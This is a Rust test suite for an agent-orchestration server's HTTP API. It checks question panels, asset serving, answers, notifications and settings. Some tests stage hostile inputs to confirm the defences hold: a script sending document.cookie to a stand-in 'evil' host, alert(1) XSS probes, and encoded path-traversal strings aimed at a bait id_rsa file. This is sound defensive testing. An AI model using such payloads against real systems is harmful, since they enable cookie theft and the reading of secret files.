8301 return view;
8302 }
8303 tokio::time::sleep(Duration::from_millis(10)).await;
8304 }
8305 panic!(
8306 "the loop never settled: {}",
8307 fx.get("/api/loop").await.json()
8308 );
8309 }
8310
8311 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8313 let store = fx.questions();
8314 let mut q = Question::new(
8315 "20260902-000000-beef".to_owned(),
8316 "implement".to_owned(),
8317 "impl-A".to_owned(),
8318 summary.to_owned(),
8319 "because it matters".to_owned(),
8320 choices.iter().map(|c| (*c).to_owned()).collect(),
8321 );
8322 store.put(&mut q).expect("put question");
8323 q.id
8324 }
8325
8326 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8332 let store = fx.questions();
8333 let mut q = Question::new(
8334 "20260902-000000-beef".to_owned(),
8335 "land".to_owned(),
8336 "fix".to_owned(),
8337 "Merge this?".to_owned(),
8338 "the diff is in the panel".to_owned(),
8339 vec!["merge".to_owned(), "hold".to_owned()],
8340 );
8341 let staging = fx.home.path().join("staging");
8344 std::fs::create_dir_all(&staging).expect("staging dir");
8345 let sources: Vec<PathBuf> = assets
8346 .iter()
8347 .map(|(name, bytes)| {
8348 let path = staging.join(name);
8349 std::fs::write(&path, bytes).expect("write staged asset");
8350 path
8351 })
8352 .collect();
8353 store
8354 .put_panel(&mut q, html, &sources)
8355 .expect("write the panel");
8356 store.put(&mut q).expect("put question");
8357 q.id
8358 }
8359
8360 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8369 seed_talk_at(&fx.talks(), id, status)
8370 }
8371
8372 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8373 std::fs::create_dir_all(store.root()).expect("talks dir");
8374 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8375 .expect("serialize a seat");
8376 let body = serde_json::json!({
8377 "schema": 1,
8378 "id": id,
8379 "repo": "/repo/magi",
8380 "agent": "mock",
8381 "status": status,
8382 "turns": [],
8383 "created_at": Timestamp::now().to_string(),
8384 "updated_at": Timestamp::now().to_string(),
8385 "seat": seat,
8386 });
8387 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8388 store.get(id).expect("the seeded talk has to be readable");
8389 id.to_owned()
8390 }
8391
8392 #[tokio::test]
8393 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8394 let fx = Fixture::start().await;
8395 let id = panel(
8396 &fx,
8397 "<h1>Merge?</h1><img src=\"diff.svg\">",
8398 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8399 );
8400
8401 for path in [
8402 format!("/api/questions/{id}/panel"),
8403 format!("/api/questions/{id}/asset/diff.svg"),
8404 ] {
8405 let res = fx.get(&path).await;
8406 assert_eq!(res.status, 200, "{path}: {}", res.body);
8407 assert_eq!(
8413 res.header("content-security-policy"),
8414 Some(
8415 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8416 font-src data:; base-uri 'none'; form-action 'none'; \
8417 frame-ancestors 'self'"
8418 ),
8419 "{path} is the only thing between a hostile panel and the tailnet"
8420 );
8421 assert_eq!(
8422 res.header("x-content-type-options"),
8423 Some("nosniff"),
8424 "{path}: a browser must not re-decide the type we sent"
8425 );
8426 assert_eq!(
8427 res.header("referrer-policy"),
8428 Some("no-referrer"),
8429 "{path}: a panel must not leak the question id off the machine"
8430 );
8431
8432 let pre = fx.head(&path).await;
8437 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8438 assert_eq!(
8439 pre.header("content-security-policy"),
8440 res.header("content-security-policy"),
8441 "{path}: the preflight carries the same policy"
8442 );
8443 assert_eq!(
8444 pre.header("content-type"),
8445 res.header("content-type"),
8446 "{path}: the preflight carries the same type"
8447 );
8448 }
8449 }
8450
8451 #[tokio::test]
8452 async fn a_panel_reaches_the_browser_byte_for_byte() {
8453 let fx = Fixture::start().await;
8454 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8459 let id = panel(&fx, html, &[]);
8460
8461 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8462
8463 assert_eq!(res.status, 200);
8464 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8465 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8466 assert_eq!(
8467 res.header("content-disposition"),
8468 None,
8469 "the panel itself is rendered in the frame, not downloaded"
8470 );
8471 }
8472
8473 #[tokio::test]
8474 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8475 let fx = Fixture::start().await;
8476 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8477 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8478 let id = panel(
8479 &fx,
8480 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8481 &[("diff.svg", svg), ("shot.png", png)],
8482 );
8483
8484 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8485 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8486
8487 assert_eq!(as_svg.status, 200);
8488 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8489 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8494
8495 assert_eq!(as_png.status, 200);
8496 assert_eq!(as_png.header("content-type"), Some("image/png"));
8497 assert_eq!(
8498 as_png.header("content-disposition"),
8499 None,
8500 "a raster image has no execution surface, so tapping it still shows it"
8501 );
8502 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8503 }
8504
8505 #[tokio::test]
8506 async fn an_html_asset_is_never_served_as_html() {
8507 let fx = Fixture::start().await;
8508 let id = panel(
8509 &fx,
8510 "<p>see the notes</p>",
8511 &[
8512 (
8513 "notes.html",
8514 b"<script>fetch('http://evil/'+document.cookie)</script>",
8515 ),
8516 ("hook.js", b"fetch('http://evil/')"),
8517 ("data.json", b"{}"),
8518 ("HEADLINE.TXT", b"plain"),
8519 ],
8520 );
8521
8522 for name in ["notes.html", "hook.js", "data.json"] {
8523 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8524 assert_eq!(res.status, 200, "{name}: {}", res.body);
8525 assert_eq!(
8530 res.header("content-type"),
8531 Some("application/octet-stream"),
8532 "{name} must not be a type the browser will execute or render"
8533 );
8534 }
8535 let txt = fx
8538 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8539 .await;
8540 assert_eq!(
8541 txt.header("content-type"),
8542 Some("text/plain; charset=utf-8")
8543 );
8544 }
8545
8546 #[tokio::test]
8547 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8548 let fx = Fixture::start().await;
8549 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8550 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8554
8555 for encoded in [
8562 "%2e%2e%2fid_rsa",
8563 "..%2fid_rsa",
8564 "..%5cid_rsa",
8565 "%2e%2e%5cid_rsa",
8566 "diff%00.svg",
8567 "..",
8568 ".hidden",
8569 "%2e%2e%2f%2e%2e%2fid_rsa",
8570 ] {
8571 let res = fx
8572 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8573 .await;
8574 assert_eq!(
8575 res.status, 400,
8576 "`{encoded}` has to be refused by name, not looked up: {}",
8577 res.body
8578 );
8579 assert!(res.json()["error"].is_string(), "{}", res.body);
8580 }
8581
8582 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8588 let res = fx
8589 .get(&format!("/api/questions/{id}/asset/{literal}"))
8590 .await;
8591 assert_eq!(
8592 res.status, 404,
8593 "`{literal}` must not match the asset route at all: {}",
8594 res.body
8595 );
8596 }
8597 }
8598
8599 #[tokio::test]
8600 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8601 let fx = Fixture::start().await;
8602 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8603 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8604
8605 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8609 assert_eq!(none.status, 404, "{}", none.body);
8610 assert!(none.json()["error"].is_string(), "{}", none.body);
8611 assert_eq!(
8612 fx.head(&format!("/api/questions/{plain}/panel"))
8613 .await
8614 .status,
8615 404,
8616 "the preflight is the only way the client can learn this"
8617 );
8618
8619 let missing = fx
8621 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8622 .await;
8623 assert_eq!(missing.status, 404, "{}", missing.body);
8624 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8625
8626 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8628 assert_eq!(
8629 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8630 404
8631 );
8632 }
8633
8634 #[tokio::test]
8635 async fn a_run_with_an_open_question_reads_as_waiting() {
8636 let fx = Fixture::start().await;
8637 let run = "20260902-000000-beef".to_owned();
8638 write_run(&fx.runs(), &run, RunStatus::Implementing);
8639
8640 let before = fx.get("/api/runs").await.json();
8641 assert_eq!(before[0]["waiting"], false, "{before}");
8642
8643 let store = fx.questions();
8644 let mut q = Question::new(
8645 run.clone(),
8646 "implement".to_owned(),
8647 "impl-A".to_owned(),
8648 "Which backend?".to_owned(),
8649 String::new(),
8650 vec!["SQLite".to_owned()],
8651 );
8652 store.put(&mut q).expect("put");
8653
8654 let during = fx.get("/api/runs").await.json();
8655 assert_eq!(during[0]["waiting"], true, "{during}");
8656
8657 q.answer(Answer::Choice("SQLite".to_owned()))
8660 .expect("answer");
8661 store.put(&mut q).expect("put");
8662 let after = fx.get("/api/runs").await.json();
8663 assert_eq!(after[0]["waiting"], false, "{after}");
8664 }
8665
8666 #[tokio::test]
8667 async fn an_open_question_is_listed_and_counted_by_health() {
8668 let fx = Fixture::start().await;
8669 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8670
8671 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8672 let listed = fx.get("/api/questions").await.json();
8673 assert_eq!(listed.as_array().expect("array").len(), 1);
8674 assert_eq!(listed[0]["id"], id);
8675 assert_eq!(listed[0]["status"], "open");
8676 assert_eq!(listed[0]["choices"][1], "Redis");
8677 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8680 }
8681
8682 #[tokio::test]
8683 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8684 let fx = Fixture::start().await;
8685 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8686 let path = format!("/api/questions/{id}/answer");
8687
8688 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8689 assert_eq!(res.status, 200, "{}", res.body);
8690 let body = res.json();
8691 assert_eq!(body["status"], "answered");
8692 assert_eq!(body["answer"]["choice"], "Redis");
8693
8694 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8698 assert_eq!(again.status, 409, "{}", again.body);
8699 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8700 }
8701
8702 #[tokio::test]
8703 async fn saying_something_appends_a_turn_without_answering() {
8704 let fx = Fixture::start().await;
8705 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8706 let path = format!("/api/questions/{id}/say");
8707
8708 let res = fx
8709 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8710 .await;
8711 assert_eq!(res.status, 200, "{}", res.body);
8712 let body = res.json();
8713 assert_eq!(body["status"], "open", "talking back is not a decision");
8714 assert_eq!(body["answer"], Value::Null);
8715 assert_eq!(body["thread"][0]["who"], "operator");
8716 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8717 assert_eq!(body["waiting_on_agent"], true);
8718 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8720 }
8721
8722 #[tokio::test]
8723 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8724 let fx = Fixture::start().await;
8725 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8726
8727 let list = fx.get("/api/questions").await.json();
8728 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8729
8730 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8731 assert_eq!(res.status, 409, "{}", res.body);
8732 let q = fx.questions().get(&id).unwrap();
8733 assert!(q.status.open());
8734 assert!(q.consult.is_none());
8735 }
8736
8737 #[tokio::test]
8738 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8739 let fx = Fixture::start().await;
8740 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8741 let cfg = Config {
8742 agents: vec![crate::config::AgentSpec {
8743 id: "mock".to_owned(),
8744 kind: crate::config::AgentKind::Command,
8745 model: None,
8746 command: vec!["true".to_owned()],
8747 extra_args: Vec::new(),
8748 env: Default::default(),
8749 prompt_delivery: None,
8750 }],
8751 ..Config::default()
8752 };
8753 let talk = crate::talk::begin(
8754 &fx.talks(),
8755 &cfg,
8756 fx.home.path().to_path_buf(),
8757 Some("mock"),
8758 )
8759 .unwrap();
8760 let mut task = Task::new(
8761 "t".to_owned(),
8762 "Do it".to_owned(),
8763 PathBuf::from("/repo/magi"),
8764 Source::Agent {
8765 run: talk.id.clone(),
8766 node: crate::queue::CHAT_NODE.to_owned(),
8767 },
8768 );
8769 task.start("20260902-000000-beef".to_owned());
8770 fx.queue().put(&mut task).unwrap();
8771
8772 let list = fx.get("/api/questions").await.json();
8773 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8774 assert_eq!(
8775 list[0]["choices"],
8776 serde_json::json!(["SQLite", "Redis"]),
8777 "the hand-over is never a choice"
8778 );
8779 fx.questions()
8780 .update(&id, |q| {
8781 q.node = crate::land::APPROVAL_NODE.into();
8782 q.choices = vec!["merge".into(), "hold".into()];
8783 Ok(())
8784 })
8785 .unwrap();
8786 let list = fx.get("/api/questions").await.json();
8787 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8788 let _ = id;
8789 }
8790
8791 #[tokio::test]
8792 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8793 let fx = Fixture::start().await;
8794 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8795 fx.questions()
8796 .update(&id, |q| {
8797 q.node = crate::land::APPROVAL_NODE.into();
8798 q.choices = vec!["merge".into(), "hold".into()];
8799 Ok(())
8800 })
8801 .unwrap();
8802 let cfg = Config {
8803 agents: vec![crate::config::AgentSpec {
8804 id: "mock".to_owned(),
8805 kind: crate::config::AgentKind::Command,
8806 model: None,
8807 command: vec!["true".to_owned()],
8808 extra_args: Vec::new(),
8809 env: Default::default(),
8810 prompt_delivery: None,
8811 }],
8812 ..Config::default()
8813 };
8814 let repo = fx.home.path().join("chat-repo");
8816 std::fs::create_dir_all(&repo).unwrap();
8817 let toml = repo.join("magi.toml");
8818 std::fs::write(&toml, "this is = = not toml").unwrap();
8819 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8820 let mut task = Task::new(
8821 "t".to_owned(),
8822 "Do it".to_owned(),
8823 PathBuf::from("/repo/magi"),
8824 Source::Agent {
8825 run: talk.id.clone(),
8826 node: crate::queue::CHAT_NODE.to_owned(),
8827 },
8828 );
8829 task.start("20260902-000000-beef".to_owned());
8830 fx.queue().put(&mut task).unwrap();
8831
8832 let path = format!("/api/questions/{id}/consult");
8833 let res = fx.post(&path, None).await;
8834 assert!(res.status >= 400, "{}", res.body);
8835 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8836 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8837
8838 std::fs::write(&toml, "").unwrap();
8839 let res = fx.post(&path, None).await;
8840 assert_eq!(res.status, 202, "{}", res.body);
8841 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8842 let q = fx.questions().get(&id).unwrap();
8843 assert!(q.status.open());
8844 assert!(q.answer.is_none());
8845 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8846 }
8847
8848 #[tokio::test]
8849 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8850 let fx = Fixture::start().await;
8851 let store = fx.questions();
8852 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8853 assert_eq!(
8854 fx.get("/api/health").await.json()["questions_needs_owner"],
8855 1
8856 );
8857
8858 let res = fx
8864 .post(
8865 &format!("/api/questions/{id}/say"),
8866 Some(r#"{"body":"why not Postgres?"}"#),
8867 )
8868 .await;
8869 assert_eq!(res.status, 200, "{}", res.body);
8870 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8871 assert_eq!(
8872 fx.get("/api/health").await.json()["questions_needs_owner"],
8873 0,
8874 "waiting on the agent is not waiting on the owner"
8875 );
8876
8877 let mut q = store.get(&id).expect("get");
8881 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8882 .expect("reply");
8883 store.put(&mut q).expect("put");
8884 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8885 assert_eq!(
8886 fx.get("/api/health").await.json()["questions_needs_owner"],
8887 1,
8888 "the agent's reply is what should light the banner back up"
8889 );
8890 }
8891
8892 #[tokio::test]
8893 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8894 let fx = Fixture::start().await;
8895 let store = fx.questions();
8896
8897 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8898 let res = fx
8899 .post(
8900 &format!("/api/questions/{empty_id}/say"),
8901 Some(r#"{"body":" "}"#),
8902 )
8903 .await;
8904 assert_eq!(res.status, 400, "{}", res.body);
8905
8906 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8907 let mut answered = store.get(&answered_id).expect("get");
8908 answered
8909 .answer(Answer::Choice("SQLite".to_owned()))
8910 .expect("answer");
8911 store.put(&mut answered).expect("put");
8912 let res = fx
8913 .post(
8914 &format!("/api/questions/{answered_id}/say"),
8915 Some(r#"{"body":"still there?"}"#),
8916 )
8917 .await;
8918 assert_eq!(res.status, 409, "{}", res.body);
8919
8920 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8921 let mut abandoned = store.get(&abandoned_id).expect("get");
8922 abandoned.abandon("timed out");
8923 store.put(&mut abandoned).expect("put");
8924 let res = fx
8925 .post(
8926 &format!("/api/questions/{abandoned_id}/say"),
8927 Some(r#"{"body":"still there?"}"#),
8928 )
8929 .await;
8930 assert_eq!(res.status, 409, "{}", res.body);
8931 }
8932
8933 #[tokio::test]
8934 async fn an_answer_the_question_does_not_offer_is_refused() {
8935 let fx = Fixture::start().await;
8936 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8937 let path = format!("/api/questions/{id}/answer");
8938
8939 for body in [
8940 r#"{"choice":"Postgres"}"#,
8941 r#"{"text":"whatever you think"}"#,
8942 r#"{"choice":"Redis","text":"both"}"#,
8943 r#"{}"#,
8944 ] {
8945 let res = fx.post(&path, Some(body)).await;
8946 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8947 assert!(res.json()["error"].is_string(), "{}", res.body);
8948 }
8949 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8951 }
8952
8953 #[tokio::test]
8954 async fn a_free_text_question_takes_text_and_not_a_choice() {
8955 let fx = Fixture::start().await;
8956 let id = ask(&fx, "What should the flag be called?", &[]);
8957 let path = format!("/api/questions/{id}/answer");
8958
8959 assert_eq!(
8960 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8961 400
8962 );
8963 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8964 assert_eq!(res.status, 200, "{}", res.body);
8965 assert_eq!(res.json()["answer"]["text"], "--json");
8966 }
8967
8968 #[tokio::test]
8969 async fn an_unknown_question_is_a_json_404() {
8970 let fx = Fixture::start().await;
8971 let res = fx
8972 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8973 .await;
8974 assert_eq!(res.status, 404, "{}", res.body);
8975 assert!(res.json()["error"].is_string());
8976 }
8977
8978 #[tokio::test]
8979 async fn notifications_list_read_dismiss_and_health_agree() {
8980 let fx = Fixture::start().await;
8981 let store = Notices::at(fx.home.path().join("notifications"));
8982 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8983 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8984
8985 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8986 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8987
8988 let health = fx.get("/api/health").await.json();
8989 assert_eq!(health["notifications_unread"], 2);
8990 assert_ne!(
8991 health["notifications_rev"], rev0,
8992 "the badge must move live"
8993 );
8994
8995 let listed = fx.get("/api/notifications").await.json();
8996 assert_eq!(listed["unread"], 2);
8997 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8998 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8999
9000 let read = fx
9001 .post(&format!("/api/notifications/{}/read", a.id), None)
9002 .await;
9003 assert_eq!(read.status, 200, "{}", read.body);
9004 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9005
9006 let gone = fx
9007 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9008 .await;
9009 assert_eq!(gone.status, 200, "{}", gone.body);
9010 let listed = fx.get("/api/notifications").await.json();
9011 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9012 assert_eq!(listed["unread"], 0);
9013
9014 store.raise(Notice::info("x", "again")).unwrap();
9015 let all = fx.post("/api/notifications/read-all", None).await;
9016 assert_eq!(all.status, 200, "{}", all.body);
9017 assert_eq!(all.json()["marked"], 1);
9018 assert_eq!(
9019 fx.get("/api/health").await.json()["notifications_unread"],
9020 0
9021 );
9022
9023 let missing = fx.post("/api/notifications/nope/read", None).await;
9024 assert_eq!(missing.status, 404, "{}", missing.body);
9025 assert!(missing.json()["error"].is_string());
9026 }
9027
9028 #[tokio::test]
9035 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9036 let f = Fixture::start().await;
9037
9038 let res = f
9039 .post(
9040 "/api/queue",
9041 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9042 )
9043 .await;
9044
9045 assert_eq!(
9046 res.status, 405,
9047 "POST /api/queue must not be a route: {}",
9048 res.body
9049 );
9050 assert!(
9051 f.queue().list().is_empty(),
9052 "a task filed by a route that does not exist must not reach the disk"
9053 );
9054 assert_eq!(f.get("/api/queue").await.status, 200);
9057 }
9058
9059 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9061 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9062 .expect("checkout dir");
9063 }
9064
9065 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9067
9068 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9069 let tmp = TempDir::new().expect("tempdir");
9070 let repo = tmp.path().join("repo");
9071 std::fs::create_dir_all(&repo).expect("repo dir");
9072 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9073 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9074 if let Some(text) = machine_toml {
9075 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9076 std::fs::write(&machine, text).expect("machine toml");
9077 }
9078 (tmp, repo, machine)
9079 }
9080
9081 #[tokio::test]
9082 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9083 let (_tmp, repo, machine) =
9084 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9085 let f = Fixture::with_repo_and_machine(repo, machine).await;
9086 let res = f.get("/api/settings").await;
9087 assert_eq!(res.status, 200, "{}", res.body);
9088 let v = res.json();
9089 assert!(v["error"].is_null(), "{v}");
9090 let role = |k: &str| {
9091 v["roles"]
9092 .as_array()
9093 .and_then(|r| r.iter().find(|x| x["key"] == k))
9094 .cloned()
9095 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9096 };
9097 assert_eq!(role("judges")["source"], "machine");
9098 assert_eq!(role("judges")["editable"], true);
9099 assert_eq!(role("implementers")["source"], "default");
9100 let adv = role("advisors");
9101 assert_eq!(adv["fallback"], "judges");
9102 assert!(
9103 adv["seats"]
9104 .as_array()
9105 .is_some_and(|s| s.iter().all(|x| x == "b")),
9106 "{adv}"
9107 );
9108 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9109 assert_eq!(v["agents"][0]["source"], "repo");
9110 }
9111
9112 #[tokio::test]
9113 async fn settings_get_reports_a_config_that_does_not_parse() {
9114 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9115 let f = Fixture::with_repo_and_machine(repo, machine).await;
9116 let res = f.get("/api/settings").await;
9117 assert_eq!(res.status, 200, "{}", res.body);
9118 let v = res.json();
9119 assert!(v["error"]["message"].is_string(), "{v}");
9120 assert!(
9121 v["error"]["path"]
9122 .as_str()
9123 .is_some_and(|p| p.ends_with("magi.toml")),
9124 "{v}"
9125 );
9126 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9127 }
9128
9129 #[tokio::test]
9130 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9131 let (_tmp, repo, machine) = settings_dirs(
9132 SETTINGS_AGENTS,
9133 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9134 );
9135 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9136 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9137 let rev = f.get("/api/settings").await.json()["revision"]
9138 .as_str()
9139 .expect("revision")
9140 .to_owned();
9141 let body = serde_json::json!({
9142 "revision": rev,
9143 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9144 })
9145 .to_string();
9146 let res = f.put("/api/settings/roles", &body).await;
9147 assert_eq!(res.status, 200, "{}", res.body);
9148 let text = std::fs::read_to_string(&machine).expect("machine");
9149 assert_eq!(
9150 text,
9151 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9152 );
9153 assert_eq!(
9154 std::fs::read(repo.join("magi.toml")).expect("read"),
9155 repo_before
9156 );
9157 let again = f.get("/api/settings").await.json();
9158 let judges = again["roles"]
9159 .as_array()
9160 .expect("roles")
9161 .iter()
9162 .find(|r| r["key"] == "judges")
9163 .expect("judges")
9164 .clone();
9165 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9166 let stale = f.put("/api/settings/roles", &body).await;
9168 assert_eq!(stale.status, 409, "{}", stale.body);
9169 }
9170
9171 #[tokio::test]
9172 async fn settings_counts_are_reported_and_saved() {
9173 let (_tmp, repo, machine) = settings_dirs(
9174 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9175 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9176 );
9177 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9178 let v = f.get("/api/settings").await.json();
9179 let count = |v: &serde_json::Value, k: &str| {
9180 v["roles"]
9181 .as_array()
9182 .and_then(|r| r.iter().find(|x| x["key"] == k))
9183 .map(|x| x["count"].clone())
9184 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9185 };
9186 let imp = count(&v, "implementers");
9187 assert_eq!(imp["value"], 2);
9188 assert_eq!(imp["source"], "machine");
9189 assert_eq!(imp["file_key"], "candidates");
9190 assert_eq!(imp["roster_len"], 2);
9191 assert_eq!(imp["backups"], 0);
9192 assert_eq!(count(&v, "judges")["source"], "default");
9193 assert_eq!(count(&v, "advisors")["min"], 0);
9194 assert_eq!(count(&v, "reviewers")["editable"], false);
9195 assert!(
9196 count(&v, "reviewers")["locked_reason"]
9197 .as_str()
9198 .is_some_and(|m| m.contains("graph.reviewers"))
9199 );
9200 assert!(count(&v, "fixer").is_null());
9201 let rev = v["revision"].as_str().expect("revision").to_owned();
9202 let body = serde_json::json!({
9203 "revision": rev,
9204 "roles": { "judges": ["b"] },
9205 "counts": { "implementers": 1, "advisors": 0 }
9206 })
9207 .to_string();
9208 let res = f.put("/api/settings/roles", &body).await;
9209 assert_eq!(res.status, 200, "{}", res.body);
9210 let text = std::fs::read_to_string(&machine).expect("machine");
9211 assert_eq!(
9212 text,
9213 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9214 );
9215 let after = f.get("/api/settings").await.json();
9216 assert_eq!(count(&after, "implementers")["value"], 1);
9217 assert_eq!(count(&after, "implementers")["backups"], 1);
9218 assert_eq!(count(&after, "advisors")["value"], 0);
9219 let before = std::fs::read_to_string(&machine).expect("machine");
9220 let rev = after["revision"].as_str().expect("revision").to_owned();
9221 for counts in [
9222 serde_json::json!({ "judges": 0 }),
9223 serde_json::json!({ "judges": "x" }),
9224 serde_json::json!({ "judges": 2.5 }),
9225 serde_json::json!({ "judges": -1 }),
9226 serde_json::json!({ "reviewers": 3 }),
9227 serde_json::json!({ "bogus": 3 }),
9228 ] {
9229 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9230 let res = f.put("/api/settings/roles", &body).await;
9231 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9232 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9233 }
9234 }
9235
9236 #[tokio::test]
9237 async fn settings_put_refuses_without_touching_the_file() {
9238 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9239 let (_tmp, repo, machine) = settings_dirs(
9240 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9241 Some(machine_text),
9242 );
9243 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
